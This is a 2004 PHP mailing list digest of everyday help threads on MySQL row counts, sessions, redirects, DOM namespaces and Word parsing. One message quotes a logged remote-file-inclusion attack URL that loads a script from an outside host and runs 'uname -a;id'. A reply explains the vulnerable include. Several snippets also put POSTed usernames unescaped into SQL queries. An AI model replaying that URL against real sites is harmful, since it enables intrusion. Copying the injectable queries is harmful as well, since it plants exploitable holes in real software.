php-general Digest 16 Feb 2004 10:59:52 -0000 Issue 2593
Topics (messages 177752 through 177784):
Re: Simple while loop skipping first row of array
177752 by: André Cerqueira
Re: File Injection Bug
177753 by: André Cerqueira
PHP and Word...
177754 by: Russell P Jones
177763 by: Adam Bregenzer
$REMOTE_HOST in email subject
177755 by: Birkholz, James
177759 by: Adam Bregenzer
177760 by: Birkholz, James
Re: ext/dom - set namespace of node manually
177756 by: Vivian Steller
177757 by: Adam Bregenzer
PHP Newbie Database Records?
177758 by: PETCOL
177762 by: Ryan A
177765 by: David Robley
177766 by: André Cerqueira
177767 by: PETCOL
177773 by: André Cerqueira
177776 by: John Nichel
Re: php as cgi with static libraries?
177761 by: Adam Bregenzer
PHP Kerberos examples/tutorials
177764 by: Pablo Gosse
PHP REDIRECT
177768 by: ajay
177770 by: Binay
177775 by: Chris
177777 by: John Nichel
error : session_start
177769 by: ajay
177771 by: Binay
177772 by: Tom Rogers
Re:[SOLVED] PHP Newbie Database Records?
177774 by: PETCOL
Re: [PHP-XML-DEV] Re: [PHP] PHP5: ext/dom - set namespace of node manually
177778 by: Christian Stocker
177779 by: Vivian Steller
Test, trying to send to NEWSGROUP
177780 by: Jon Arne Jřrgensen
optimizing tables
177781 by: Diana Castillo
177782 by: Daniel Perez Clavero
Re: isset() question
177783 by: Richard Davey
CDONTS Object
177784 by: Juan Torres
Administrivia:
To subscribe to the digest, e-mail:
[EMAIL PROTECTED]
To unsubscribe from the digest, e-mail:
[EMAIL PROTECTED]
To post to the list, e-mail:
[EMAIL PROTECTED]
----------------------------------------------------------------------
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
just fixing something hehe
echo "<select name=\"cats\">";
$result = mysql_query("select * from cats order by title");
if ($result) {
while ($c = mysql_fetch_array($result)) {
echo "<option value=\"$c[id]\">$c[title]</option>";
}
}
echo "</select>";
André cerqueira wrote:
try:
echo "<select name=\"cats\">";
$result = mysql_query("select * from cats order by title");
while ($c = mysql_fetch_array($result)) {
echo "<option value=\"$c[id]\">$c[title]</option>";
}
echo "</select>";
Verdon Vaillancourt wrote:
I'm not sure I phrased my subject well, but...
The following is just to build a select menu from a table query result
set.
It sort of works, but doesn't return the first row in the result set,
ie if
I have the following rows in the table 'cats';
id title
==========
1 Pears
2 Oranges
3 Apples
4 Bananas
echo "<select name=\"cats\">";
$result = mysql_query("select * from cats order by title");
$categories = mysql_fetch_array($result);
if ($categories) {
while ($c = mysql_fetch_array($result)) {
echo "<option value=\"$c[id]\">$c[title]</option>";
}
}
echo "</select>";
The resulting select menu will only include Bananas, Oranges, Pears.
Am I missing something terribly obvious to one less newbie than me?
TIA, Verdon
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFAMAYCaxdA/5C8vH8RAsXOAKCl/DfLLO9tC+4nk4S5a0g1pgSVfwCeIsiG
MOflQLGII4Aojg1qF4hHHn0=
=RYbS
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
on index.php, are you including directly the file passed by content?
if you are vulnerable, the autor of your index.php is the one to blame,
not php hehe
if safe mode is on, you may be immune to this asu.txt, but dont relly on
it against everything else that can be done
BiŽ?řáÎë?ërĎčĘ wrote:
Hello,
I found very interesting messages in my access log:
http://www.cvok.cz/index.php?content=http://linkhacker.info/ilalang23/asu.txt?&cmd=uname%20-a;id;
It looks as trying of hack. Am I immune, if I have safe mod (because
asu.txt is php script, which runs function system()).
thanks
Radek
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFAMAfuaxdA/5C8vH8RAq1hAKDBlEeAf9Rt/pMos6ZAc6UMuYfr4gCeIbko
6wiEccMHlqv/Q0L+nPwUiNM=
=/+FK
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
I need to use PHP to pull the first page from a Word Document and then
print it to the screen. It doesnt have to be fancy, so even if just the
text is pulled that would be fine (although formatting would be grand
too).
Anyone got any ideas? I cant use the COM object since Im running this on a
linux machine, and I have limited access to installation of 3rd party
software because I am using shared hosting. Classes would rock, or
anything really.
I was thinking about converting it to text somehow, and then just pulling
the first 50 lines or so - but I dont know how to convert it to text...
What do you all think?
Russ Jones
--- End Message ---
--- Begin Message ---
On Sun, 2004-02-15 at 18:28, Russell P Jones wrote:
> I need to use PHP to pull the first page from a Word Document and then
> print it to the screen. It doesnt have to be fancy, so even if just the
> text is pulled that would be fine (although formatting would be grand
> too).
[snip]
> I was thinking about converting it to text somehow, and then just pulling
> the first 50 lines or so - but I dont know how to convert it to text...
Here is a snippet of sample code I have that uses wvWare[1] to display a
Word doc. You should be able to pass it through shell_exec[2]. It is
not perfect but does a decent job of keeping formatting.
passthru(WV_HTML_PATH . ' "' . FILES_HOME_DIR . $file . '" -');
[1] http://wvware.sourceforge.net/
[2] http://us4.php.net/shell_exec
--
Adam Bregenzer
[EMAIL PROTECTED]
http://adam.bregenzer.net/
--- End Message ---
--- Begin Message ---
Is there something obviously wrong with this code?
mail([EMAIL PROTECTED],[EMAIL PROTECTED]",'[FLAG] Info edited: '.$theInfo.' by
'.$REMOTE_HOST, 'From: '.$emailAdmin."\r\n");
I'm trying to show the IP of the person who just edited some info, in the
email that I send myself whenever info is edited. Everything works, but the
IP address is empty.
TIA,
James
--- End Message ---
--- Begin Message ---
On Sun, 2004-02-15 at 19:03, Birkholz, James wrote:
> mail([EMAIL PROTECTED],[EMAIL PROTECTED]",'[FLAG] Info edited: '.$theInfo.' by
> '.$REMOTE_HOST, 'From: '.$emailAdmin."\r\n");
Try $_SERVER['REMOTE_HOST']
Also, if apache is not configured with HostnameLookups On this won't be
set. You can get the IP from: $_SERVER['REMOTE_ADDR']
--
Adam Bregenzer
[EMAIL PROTECTED]
http://adam.bregenzer.net/
--- End Message ---
--- Begin Message ---
You're right, the addr is what I really want, and
_SERVER["REMOTE_ADDR"] works, but when I tried the _SERVER["REMOTE_HOST"],
it is still empty, so my web host must HostnameLookups OFF. Problem solved,
and "thanks" to all!
James
> -----Original Message-----
> From: [EMAIL PROTECTED]
> [SMTP:[EMAIL PROTECTED]
> Sent: Sunday, February 15, 2004 6:25 PM
> To: Birkholz, James
> Subject: Re: [PHP] $REMOTE_HOST in email subject
>
> the environment variable "REMOTE_HOST" is the hostname, not the
> IPnumber "REMOTE_ADDR" is the IPnumber.
>
> separately, your problem may be that with current versions of PHP
> that syntax is no longer supported (for security reasons). the
> correct syntax is:
>
> _SERVER["REMOTE_ADDR"]
>
--- End Message ---
--- Begin Message ---
Hello,
the following code shows my problem:
<?php
class MyElement extends DomElement {
function __construct($name) {
parent::__construct($name);
}
}
$doc = new DomDocument();
$node = new MyElement("test");
$node = $doc->appendChild($node);
$node->setAttribute("xmlns", "http://www.somedomain.de/");
print("Namespace: '" . $node->namespaceURI . "'");
$xmlCode = $doc->saveXML();
print("<pre>" . htmlspecialchars($xmlCode) . "</pre>");
?>
the output would be:
> Namespace: ''
> <?xml version="1.0"?>
> <test xmlns="http://www.somedomain.de/"/>
As you can see it is impossible to set the namespace manually! I tried to
set it with the help of a DomNamespaceNode-object but those objects are no
"real" nodes (why!?!) and the consequence is that you couldn't append such
a node with $node->appendChild($domnamspacenode_object); ...
Further it isn't possible to use the function $doc->createElementNS(...)
because this function returns a domelement-object but i want the element to
be my own MyElement-object.
So how to get a namespace in my node???
thanks in advance,
vivi
--- End Message ---
--- Begin Message ---
On Sun, 2004-02-15 at 19:04, Vivian Steller wrote:
> As you can see it is impossible to set the namespace manually! I tried to
> set it with the help of a DomNamespaceNode-object but those objects are no
> "real" nodes (why!?!) and the consequence is that you couldn't append such
> a node with $node->appendChild($domnamspacenode_object); ...
I am not sure if PHP 5 has many changes from PHP 4, however have you
tried calling set_namespace[1]?
$node->set_namespace('http://www.somedomain.de/');
[1] http://www.php.net/domnode-set-namespace
--
Adam Bregenzer
[EMAIL PROTECTED]
http://adam.bregenzer.net/
--- End Message ---
--- Begin Message ---
PHP Newbie,
I'm trying to find out if a username already appears in my database.
I have two users in my table, one is colin so when I enter a username of
colin I would normally under ColdFusion anyway just to something like:
<cfif $query_qUsername.RecordCount GT 0>
User already exists do something else, like throw the user back an error.
</cfif>
My Query works
$query_qUsername = "SELECT * FROM users WHERE username = '$username'";
I've tried a number of different things here and everything either comes
back with nothing, or throws an error.
$num_rows = mysql_num_rows($query_qUsername);
echo $num_rows; // this comes back with nothing, I was expecting a numeric
of 1
exit;
Regards
Col
--- End Message ---
--- Begin Message ---
Hi,
Do a select query with a COUNT() in it....
if you dont understand that read the php manual for accessing the database
and lookup the mysql COUNT
-Ryan
On 2/16/2004 1:35:42 AM, PETCOL ([EMAIL PROTECTED]) wrote:
> PHP Newbie,
>
> I'm trying to find out if a username already appears in my database.
>
> I have two users in my table, one is colin so when I enter a username of
> colin I would normally under ColdFusion anyway just to something like:
> <cfif $query_qUsername.RecordCount GT 0>
> User already exists do something else, like throw the user back an error.
> </cfif>
>
> My Query works
> $query_qUsername = "SELECT * FROM users WHERE username = '$username'";
>
> I've
> tried a number of different things here and everything either comes
> back with nothing, or throws an error.
> $num_rows = mysql_num_rows($query_qUsername);
> echo $num_rows; // this comes back with nothing, I was expecting a
> numeric
> of 1
> exit;
>
> Regards
> Col
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
--- End Message ---
--- Begin Message ---
In article <[EMAIL PROTECTED]>,
[EMAIL PROTECTED] says...
> PHP Newbie,
>
> I'm trying to find out if a username already appears in my database.
>
> I have two users in my table, one is colin so when I enter a username of
> colin I would normally under ColdFusion anyway just to something like:
> <cfif $query_qUsername.RecordCount GT 0>
> User already exists do something else, like throw the user back an error.
> </cfif>
>
> My Query works
> $query_qUsername = "SELECT * FROM users WHERE username = '$username'";
>
> I've tried a number of different things here and everything either comes
> back with nothing, or throws an error.
> $num_rows = mysql_num_rows($query_qUsername);
> echo $num_rows; // this comes back with nothing, I was expecting a numeric
> of 1
> exit;
>
> Regards
> Col
>
First, consider echo $query_qUsername to ensure that it contains what you
think it does. Second, consider using mysql_error() after your call to the
database to show the text of any error returned by mysql.
--
Quod subigo farinam
A: Because it messes up the order in which people normally read text.
Q: Why is top-posting such a bad thing?
A: Top-posting.
Q: What is the most annoying thing on usenet?
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
I believe you forgot to read the manual.
> $query_qUsername = "SELECT * FROM users WHERE username = '$username'";
> $num_rows = mysql_num_rows($query_qUsername);
$query_qUsername is a String
mysql_num_rows want a result resource as argument
You have no result till you do mysql_query
Read these please:
http://www.php.net/mysql
http://www.php.net/mysql_query
Petcol wrote:
PHP Newbie,
I'm trying to find out if a username already appears in my database.
I have two users in my table, one is colin so when I enter a username of
colin I would normally under ColdFusion anyway just to something like:
<cfif $query_qUsername.RecordCount GT 0>
User already exists do something else, like throw the user back an error.
</cfif>
My Query works
$query_qUsername = "SELECT * FROM users WHERE username = '$username'";
I've tried a number of different things here and everything either comes
back with nothing, or throws an error.
$num_rows = mysql_num_rows($query_qUsername);
echo $num_rows; // this comes back with nothing, I was expecting a numeric
of 1
exit;
Regards
Col
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFAMDlSaxdA/5C8vH8RAv8qAJ0XeA+wmVsDIhxBPusnqfFl5Y+7sgCdHotu
xuIp7e5y/0NJle1QG8Gh4aQ=
=nqt3
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
Andre,
Thank you, I had read the manual, understanding it fully when you've been
coding in another language is another matter.
I had relied on DreamweaverMX to create the Database connection which meant
I didn't really understand how it was returning the results.
I was able to output the results by altering the code DreamweaverMX had
created.
Thanks, now using the database query method you showed, I've been able to
get the number of rows returned.
However, whenever I change the username I still get a row count of 1 ?
<?php
if (isset($_POST["USERNAME"])) {
$username = $_POST["USERNAME"];
$result = mysql_query("SELECT count(uid) FROM users WHERE username =
'$username'")
or die("Invalid query: " . mysql_error());
$num_rows = mysql_num_rows($result);
echo $username ." \n". $num_rows;
}
?>
echo $username
returns the username entered into the field before the submit button is hit.
$num_rows;
always returns one numeric 1 even though there is no username like $username
in the database ??????
Have I missed something?
Col
"André cerqueira" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> I believe you forgot to read the manual.
>
>
> > $query_qUsername = "SELECT * FROM users WHERE username = '$username'";
> > $num_rows = mysql_num_rows($query_qUsername);
>
>
> $query_qUsername is a String
>
> mysql_num_rows want a result resource as argument
> You have no result till you do mysql_query
>
>
> Read these please:
> http://www.php.net/mysql
> http://www.php.net/mysql_query
>
>
>
> Petcol wrote:
> > PHP Newbie,
> >
> > I'm trying to find out if a username already appears in my database.
> >
> > I have two users in my table, one is colin so when I enter a username of
> > colin I would normally under ColdFusion anyway just to something like:
> > <cfif $query_qUsername.RecordCount GT 0>
> > User already exists do something else, like throw the user back an
error.
> > </cfif>
> >
> > My Query works
> > $query_qUsername = "SELECT * FROM users WHERE username = '$username'";
> >
> > I've tried a number of different things here and everything either comes
> > back with nothing, or throws an error.
> > $num_rows = mysql_num_rows($query_qUsername);
> > echo $num_rows; // this comes back with nothing, I was expecting a
numeric
> > of 1
> > exit;
> >
> > Regards
> > Col
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.4 (MingW32)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
>
> iD8DBQFAMDlSaxdA/5C8vH8RAv8qAJ0XeA+wmVsDIhxBPusnqfFl5Y+7sgCdHotu
> xuIp7e5y/0NJle1QG8Gh4aQ=
> =nqt3
> -----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
i think the query: "SELECT count(uid) FROM users WHERE
username='$username'", will give a one row result, that row will have
one field, and that field is the number of rows that match the where
clause (you are using count(uid))
if there is no match, the result will be a row, with a field, with 0 as
value
mysql_num_rows return the number of rows of the given result
you can do this:
$result = mysql_query("SELECT count(uid) FROM users WHERE username = '$username'")
> or die("Invalid query: " . mysql_error());
$num_rows = mysql_result($result, 0, 0);
or this:
$result = mysql_query("SELECT uid FROM users WHERE username = '$username'")
> or die("Invalid query: " . mysql_error());
$num_rows = mysql_num_rows($result);
i think the first one is better
Petcol wrote:
Andre,
Thank you, I had read the manual, understanding it fully when you've
been coding in another language is another matter.
I had relied on DreamweaverMX to create the Database connection which
meant
I didn't really understand how it was returning the results.
I was able to output the results by altering the code DreamweaverMX
had created.
Thanks, now using the database query method you showed, I've been
able to get the number of rows returned.
However, whenever I change the username I still get a row count of 1
? <?php if (isset($_POST["USERNAME"])) { $username =
$_POST["USERNAME"];
$result = mysql_query("SELECT count(uid) FROM users WHERE username =
'$username'") or die("Invalid query: " . mysql_error()); $num_rows =
mysql_num_rows($result); echo $username ." \n". $num_rows;
} ?>
echo $username returns the username entered into the field before the
submit button
is hit.
$num_rows; always returns one numeric 1 even though there is no
username like
$username
in the database ??????
Have I missed something?
Col
"André cerqueira" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
I believe you forgot to read the manual.
$query_qUsername = "SELECT * FROM users WHERE username =
'$username'"; $num_rows = mysql_num_rows($query_qUsername);
$query_qUsername is a String
mysql_num_rows want a result resource as argument You have no result
till you do mysql_query
Read these please: http://www.php.net/mysql
http://www.php.net/mysql_query
Petcol wrote:
PHP Newbie,
I'm trying to find out if a username already appears in my
database.
I have two users in my table, one is colin so when I enter a
username of colin I would normally under ColdFusion anyway just to
something like: <cfif $query_qUsername.RecordCount GT 0> User
already exists do something else, like throw the user back an
error.
</cfif>
My Query works $query_qUsername = "SELECT * FROM users WHERE
username = '$username'";
I've tried a number of different things here and everything either
comes back with nothing, or throws an error. $num_rows =
mysql_num_rows($query_qUsername); echo $num_rows; // this comes
back with nothing, I was expecting a
numeric
of 1 exit;
Regards Col
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFAMFIhaxdA/5C8vH8RAocmAKCiJsq+ZjfwKT8+Nh/AbNQ9vB5ZOwCeKCRd
hKO0x1rckabl8/++P995sCE=
=2epc
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
PETCOL wrote:
PHP Newbie,
I'm trying to find out if a username already appears in my database.
I have two users in my table, one is colin so when I enter a username of
colin I would normally under ColdFusion anyway just to something like:
<cfif $query_qUsername.RecordCount GT 0>
User already exists do something else, like throw the user back an error.
</cfif>
My Query works
$query_qUsername = "SELECT * FROM users WHERE username = '$username'";
I've tried a number of different things here and everything either comes
back with nothing, or throws an error.
$num_rows = mysql_num_rows($query_qUsername);
mysql_num_rows() takes a result set from a executed query...
$result = mysql_query ( $query_qUsername );
$num_rows = mysql_num_rows ( $result );
It's all here...
http://us2.php.net/mysql_num_rows
echo $num_rows; // this comes back with nothing, I was expecting a numeric
of 1
exit;
Regards
Col
--
By-Tor.com
It's all about the Rush
http://www.by-tor.com
--- End Message ---
--- Begin Message ---
On Sun, 2004-02-15 at 17:19, Marten Lehmann wrote:
> when I'm building php as a cgi-module, a 'ldd php' shows a list of some
> libraries, that are linked in dynamically. How can I link some of them
> statically into the php-binary? I can't rely of external libs in some cases.
You will need to build php yourself, take a look at configure --help:
$ ./configure --help | grep static
--enable-static[=PKGS] build static libraries [default=yes]
--
Adam Bregenzer
[EMAIL PROTECTED]
http://adam.bregenzer.net/
--- End Message ---
--- Begin Message ---
Hi folks. I'm wondering if anyone out there can point me in the
direction of a good tutorial/article on how to implement authentication
using Kerberos in a PHP application running on Apache 2.0.
I've googled and searched the lists but I can't find any tutorials or
articles which fully explain this.
Does anyone have any suggestions?
Cheers and TIA,
Pablo
--- End Message ---
--- Begin Message ---
hi!
i'd like to redirect a person to another page but after a certain time interval
has elapsed. this is because i have a generic error displaying page and i would
like the person to go to this page, stay there for like 10 seconds and then be
redirected to the index page.
i was using header("url") to redirect the user.
but how do i get that to happen after a certain time interval.
thanks
regards
--
ajay
---------------
Who Dares Wins
-------------------------------------------------
This mail sent through IMP: www-mail.usyd.edu.au
--- End Message ---
--- Begin Message ---
use sleep(no of seconds)..
Cheers
Binay
----- Original Message -----
From: "ajay" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Monday, February 16, 2004 9:54 AM
Subject: [PHP] PHP REDIRECT
> hi!
>
> i'd like to redirect a person to another page but after a certain time
interval
> has elapsed. this is because i have a generic error displaying page and i
would
> like the person to go to this page, stay there for like 10 seconds and
then be
> redirected to the index page.
>
> i was using header("url") to redirect the user.
> but how do i get that to happen after a certain time interval.
>
> thanks
>
> regards
>
> --
> ajay
> ---------------
> Who Dares Wins
>
> -------------------------------------------------
> This mail sent through IMP: www-mail.usyd.edu.au
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
--- End Message ---
--- Begin Message ---
You can't view the page and have PHP redirect it. You would need to use a
<meta> refresh tag or JavaScript.
Chris
> -----Original Message-----
> From: ajay [mailto:[EMAIL PROTECTED]
> Sent: Sunday, February 15, 2004 8:25 PM
> To: [EMAIL PROTECTED]
> Subject: [PHP] PHP REDIRECT
>
>
> hi!
>
> i'd like to redirect a person to another page but after a certain
> time interval
> has elapsed. this is because i have a generic error displaying
> page and i would
> like the person to go to this page, stay there for like 10
> seconds and then be
> redirected to the index page.
>
> i was using header("url") to redirect the user.
> but how do i get that to happen after a certain time interval.
>
> thanks
>
> regards
>
> --
> ajay
> ---------------
> Who Dares Wins
>
> -------------------------------------------------
> This mail sent through IMP: www-mail.usyd.edu.au
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
--- End Message ---
--- Begin Message ---
ajay wrote:
hi!
i'd like to redirect a person to another page but after a certain time interval
has elapsed. this is because i have a generic error displaying page and i would
like the person to go to this page, stay there for like 10 seconds and then be
redirected to the index page.
i was using header("url") to redirect the user.
but how do i get that to happen after a certain time interval.
thanks
regards
You can sleep() the script, but no output will be sent to the browser.
If you want them to view the 'error' page, ie output to the browser for
the user to read, you cannot use php to redirect them after that. Use
JavaScript. PHP == ServerSide, JavaScript == ClientSide.
--
By-Tor.com
It's all about the Rush
http://www.by-tor.com
--- End Message ---
--- Begin Message ---
hi!
i have a login page that after validating the login and passwords does something
like
// initiate a session
session_start();
// register some session variables
session_register("SESSION");
// including the username
session_register("SESSION_UNAME");
$SESSION_UNAME = $login;
// redirect to protected page
header("Location:manager.php");
when i try to run this at home with my apache 1.3.27 i get the following errors:
Warning: session_start() [function.session-start]:
open(/tmp\sess_d6abb1b84993ac7bca6eb7eb8f06481d, O_RDWR) failed: No such file or
directory (2) in c:\program files\apache
group\apache\htdocs\usydbasketball\login.php on line 16
Warning: session_start() [function.session-start]: Cannot send session cookie -
headers already sent by (output started at c:\program files\apache
group\apache\htdocs\usydbasketball\login.php:16) in c:\program files\apache
group\apache\htdocs\usydbasketball\login.php on line 16
Warning: session_start() [function.session-start]: Cannot send session cache
limiter - headers already sent (output started at c:\program files\apache
group\apache\htdocs\usydbasketball\login.php:16) in c:\program files\apache
group\apache\htdocs\usydbasketball\login.php on line 16
Warning: Cannot modify header information - headers already sent by (output
started at c:\program files\apache
group\apache\htdocs\usydbasketball\login.php:16) in c:\program files\apache
group\apache\htdocs\usydbasketball\login.php on line 26
Warning: Unknown(): Your script possibly relies on a session side-effect which
existed until PHP 4.2.3. Please be advised that the session extension does not
consider global variables as a source of data, unless register_globals is
enabled. You can disable this functionality and this warning by setting
session.bug_compat_42 or session.bug_compat_warn to off, respectively. in
Unknown on line 0
Warning: Unknown(): open(/tmp\sess_d6abb1b84993ac7bca6eb7eb8f06481d, O_RDWR)
failed: No such file or directory (2) in Unknown on line 0
Warning: Unknown(): Failed to write session data (files). Please verify that the
current setting of session.save_path is correct (/tmp) in Unknown on line 0
can someone please help
thanks
regards
--
ajay
---------------
Who Dares Wins
-------------------------------------------------
This mail sent through IMP: www-mail.usyd.edu.au
--- End Message ---
--- Begin Message ---
set the session.save_path directive in php.ini file..
By default this is set to /tmp but as u working on win mchine please create
a session directory and specify the corresponding path to aforesaid
directive.
Cheers
Binay
----- Original Message -----
From: "ajay" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Monday, February 16, 2004 9:57 AM
Subject: [PHP] error : session_start
> hi!
>
> i have a login page that after validating the login and passwords does
something
> like
> // initiate a session
> session_start();
>
> // register some session variables
> session_register("SESSION");
>
> // including the username
> session_register("SESSION_UNAME");
> $SESSION_UNAME = $login;
>
> // redirect to protected page
> header("Location:manager.php");
>
> when i try to run this at home with my apache 1.3.27 i get the following
errors:
>
> Warning: session_start() [function.session-start]:
> open(/tmp\sess_d6abb1b84993ac7bca6eb7eb8f06481d, O_RDWR) failed: No such
file or
> directory (2) in c:\program files\apache
> group\apache\htdocs\usydbasketball\login.php on line 16
>
> Warning: session_start() [function.session-start]: Cannot send session
cookie -
> headers already sent by (output started at c:\program files\apache
> group\apache\htdocs\usydbasketball\login.php:16) in c:\program
files\apache
> group\apache\htdocs\usydbasketball\login.php on line 16
>
> Warning: session_start() [function.session-start]: Cannot send session
cache
> limiter - headers already sent (output started at c:\program files\apache
> group\apache\htdocs\usydbasketball\login.php:16) in c:\program
files\apache
> group\apache\htdocs\usydbasketball\login.php on line 16
>
> Warning: Cannot modify header information - headers already sent by
(output
> started at c:\program files\apache
> group\apache\htdocs\usydbasketball\login.php:16) in c:\program
files\apache
> group\apache\htdocs\usydbasketball\login.php on line 26
>
> Warning: Unknown(): Your script possibly relies on a session side-effect
which
> existed until PHP 4.2.3. Please be advised that the session extension does
not
> consider global variables as a source of data, unless register_globals is
> enabled. You can disable this functionality and this warning by setting
> session.bug_compat_42 or session.bug_compat_warn to off, respectively. in
> Unknown on line 0
>
> Warning: Unknown(): open(/tmp\sess_d6abb1b84993ac7bca6eb7eb8f06481d,
O_RDWR)
> failed: No such file or directory (2) in Unknown on line 0
>
> Warning: Unknown(): Failed to write session data (files). Please verify
that the
> current setting of session.save_path is correct (/tmp) in Unknown on line
0
>
>
> can someone please help
>
> thanks
>
> regards
>
> --
> ajay
> ---------------
> Who Dares Wins
>
> -------------------------------------------------
> This mail sent through IMP: www-mail.usyd.edu.au
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
--- End Message ---
--- Begin Message ---
Hi,
Monday, February 16, 2004, 2:27:21 PM, you wrote:
a> hi!
a> i have a login page that after validating the login and passwords does something
a> like
a> // initiate a session
a> session_start();
a> // register some session variables
a> session_register("SESSION");
a> // including the username
a> session_register("SESSION_UNAME");
a> $SESSION_UNAME = $login;
a> // redirect to protected page
a> header("Location:manager.php");
a> when i try to run this at home with my apache 1.3.27 i get the following errors:
a> Warning: session_start() [function.session-start]:
a> open(/tmp\sess_d6abb1b84993ac7bca6eb7eb8f06481d, O_RDWR) failed: No such file or
a> directory (2) in c:\program files\apache
a> group\apache\htdocs\usydbasketball\login.php on line 16
a> Warning: session_start() [function.session-start]: Cannot send session cookie -
a> headers already sent by (output started at c:\program files\apache
a> group\apache\htdocs\usydbasketball\login.php:16) in c:\program files\apache
a> group\apache\htdocs\usydbasketball\login.php on line 16
a> Warning: session_start() [function.session-start]: Cannot send session cache
a> limiter - headers already sent (output started at c:\program files\apache
a> group\apache\htdocs\usydbasketball\login.php:16) in c:\program files\apache
a> group\apache\htdocs\usydbasketball\login.php on line 16
a> Warning: Cannot modify header information - headers already sent by (output
a> started at c:\program files\apache
a> group\apache\htdocs\usydbasketball\login.php:16) in c:\program files\apache
a> group\apache\htdocs\usydbasketball\login.php on line 26
a> Warning: Unknown(): Your script possibly relies on a session side-effect which
a> existed until PHP 4.2.3. Please be advised that the session extension does not
a> consider global variables as a source of data, unless register_globals is
a> enabled. You can disable this functionality and this warning by setting
a> session.bug_compat_42 or session.bug_compat_warn to off, respectively. in
a> Unknown on line 0
a> Warning: Unknown():
a> open(/tmp\sess_d6abb1b84993ac7bca6eb7eb8f06481d, O_RDWR)
a> failed: No such file or directory (2) in Unknown on line 0
a> Warning: Unknown(): Failed to write session data (files). Please verify that the
a> current setting of session.save_path is correct (/tmp) in Unknown on line 0
a> can someone please help
a> thanks
a> regards
a> --
a> ajay
a> ---------------
a> Who Dares Wins
a> -------------------------------------------------
a> This mail sent through IMP: www-mail.usyd.edu.au
make a directory on your C drive called Temp than set the php.ini
setting as
session.save_path = "C:\Temp"/tmp
--
regards,
Tom
--- End Message ---
--- Begin Message ---
André,
Thank you for your patience, solution one works fine.
Regards
Col
"André cerqueira" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> i think the query: "SELECT count(uid) FROM users WHERE
> username='$username'", will give a one row result, that row will have
> one field, and that field is the number of rows that match the where
> clause (you are using count(uid))
> if there is no match, the result will be a row, with a field, with 0 as
> value
>
> mysql_num_rows return the number of rows of the given result
>
> you can do this:
> > $result = mysql_query("SELECT count(uid) FROM users WHERE username =
'$username'")
> > or die("Invalid query: " . mysql_error());
> > $num_rows = mysql_result($result, 0, 0);
>
> or this:
> > $result = mysql_query("SELECT uid FROM users WHERE username =
'$username'")
> > or die("Invalid query: " . mysql_error());
> > $num_rows = mysql_num_rows($result);
>
> i think the first one is better
>
>
> Petcol wrote:
> > Andre,
> >
> > Thank you, I had read the manual, understanding it fully when you've
> > been coding in another language is another matter.
> >
> > I had relied on DreamweaverMX to create the Database connection which
> >
> >
> >
> meant
> > I didn't really understand how it was returning the results.
> >
> > I was able to output the results by altering the code DreamweaverMX
> > had created.
> >
> > Thanks, now using the database query method you showed, I've been
> > able to get the number of rows returned.
> >
> > However, whenever I change the username I still get a row count of 1
> > ? <?php if (isset($_POST["USERNAME"])) { $username =
> > $_POST["USERNAME"];
> >
> > $result = mysql_query("SELECT count(uid) FROM users WHERE username =
> > '$username'") or die("Invalid query: " . mysql_error()); $num_rows =
> > mysql_num_rows($result); echo $username ." \n". $num_rows;
> > } ?>
> >
> > echo $username returns the username entered into the field before the
> > submit button
> is hit.
> > $num_rows; always returns one numeric 1 even though there is no
> > username like
> $username
> > in the database ??????
> >
> > Have I missed something?
> >
> > Col
> >
> > "André cerqueira" <[EMAIL PROTECTED]> wrote in message
> > news:[EMAIL PROTECTED]
> >
> > I believe you forgot to read the manual.
> >
> >
> >> $query_qUsername = "SELECT * FROM users WHERE username =
> >> '$username'"; $num_rows = mysql_num_rows($query_qUsername);
> >
> >
> > $query_qUsername is a String
> >
> > mysql_num_rows want a result resource as argument You have no result
> > till you do mysql_query
> >
> >
> > Read these please: http://www.php.net/mysql
> > http://www.php.net/mysql_query
> >
> >
> >
> > Petcol wrote:
> >
> >> PHP Newbie,
> >
> >> I'm trying to find out if a username already appears in my
> >> database.
> >
> >> I have two users in my table, one is colin so when I enter a
> >> username of colin I would normally under ColdFusion anyway just to
> >> something like: <cfif $query_qUsername.RecordCount GT 0> User
> >> already exists do something else, like throw the user back an
> >
> >> error.
> >
> >> </cfif>
> >
> >> My Query works $query_qUsername = "SELECT * FROM users WHERE
> >> username = '$username'";
> >
> >> I've tried a number of different things here and everything either
> >> comes back with nothing, or throws an error. $num_rows =
